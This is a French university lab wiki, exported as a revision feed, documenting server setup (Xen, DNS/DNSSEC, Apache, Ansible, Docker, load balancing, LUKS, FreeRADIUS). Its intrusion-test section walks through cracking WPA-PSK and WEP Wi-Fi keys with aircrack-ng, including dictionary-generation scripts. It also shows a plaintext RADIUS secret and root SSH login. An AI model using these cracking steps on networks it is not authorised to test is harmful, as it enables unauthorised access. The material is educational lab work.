        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
[[Fichier:result_crea_docker.png|900px|center]]&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
https://www.chlamydiae.site/balancer-manager&lt;br /&gt;
&lt;br /&gt;
On obtient:&lt;br /&gt;
[[Fichier:chlamydiae_balancer_result.png|700px|center]]&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
====&amp;lt;s&amp;gt;Sécurisation de données&amp;lt;/s&amp;gt;====&lt;br /&gt;
====Cryptage de données====&lt;br /&gt;
Pour afficher la liste des périphériques connectés au PC:&lt;br /&gt;
  fdisk -l&lt;br /&gt;
&lt;br /&gt;
On la crypte et on crée la partition:&lt;br /&gt;
  cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On formate notre volume en ext4&lt;br /&gt;
  mkfs -t ext4 /dev/mapper/virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On le monte ensuite sur /mnt&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/&lt;br /&gt;
&lt;br /&gt;
On y crée un fichier /mnt/test_file puis on démonte /mnt:&lt;br /&gt;
  umount /mnt&lt;br /&gt;
&lt;br /&gt;
Puis on ferme la communication sur le volume crypté:&lt;br /&gt;
  cryptsetup luksClose virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup; pour pouvoir y accéder, il suffit de faire:&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis &lt;br /&gt;
  -&amp;gt; demande du mot de passe&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/&lt;br /&gt;
&lt;br /&gt;
Et on retrouve notre fichier test_file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si on essaye simplement de monter une clé usb cryptée:&lt;br /&gt;
  mount /dev/sdb1 mnt/tmp&lt;br /&gt;
  mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
FreeRADIUS est un logiciel libre et gratuit, version libre du protocole RADIUS (Remote Authentication Dial-In User Service) service d'authentification réseau interfaçable avec plusieurs sources d'identité (LDAP/SQL entre autres).&lt;br /&gt;
&lt;br /&gt;
C'est un service utilisé notamment par les FAI pour identifier leurs clients. Dans notre cas il va nous être utile pour identifier les utilisateurs sur le réseau quand ils veulent accéder a Internet au travers d'un proxy ou se connecter au réseau WiFi. &lt;br /&gt;
La configuration du serveur FreeRADIUS consiste à :&lt;br /&gt;
&lt;br /&gt;
* Déclarer ses clients (adresses IP), les routeurs ou switchs, et d’y renseigner le mot de passe partagé ;&lt;br /&gt;
* Puis d’enregistrer les utilisateurs avec leur mot de passe.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut installer freeradius: &lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Dans un deuxième temps on ajoute ces clients dans /etc/freeradius/3.0/clients.conf : &lt;br /&gt;
*  on ajoute : &lt;br /&gt;
  &lt;br /&gt;
  client 10.60.200.2/24 {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneChlamydiae&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client PA {&lt;br /&gt;
   ipaddr = 10.60.201.5&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
* Enregistrer les utilisateurs&lt;br /&gt;
&lt;br /&gt;
Il faut ajouter une ligne qui indique l'identifiant et le mot de passe. On a choisi les mêmes id que la VM : root et mot de passe habituel.&lt;br /&gt;
 Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
  Chlamydiae Cleartext-Password := &amp;quot;&amp;lt;password&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enregistrer les modifications et relancer :&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin cette comande permet d'afficher les logs:&lt;br /&gt;
  tail -f /var/log/freeradius/radius.log&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Sécurisation WiFi par WPA2-EAP====&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51846</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51846"/>
				<updated>2019-12-17T10:01:59Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Réalisations */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Introduction==&lt;br /&gt;
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
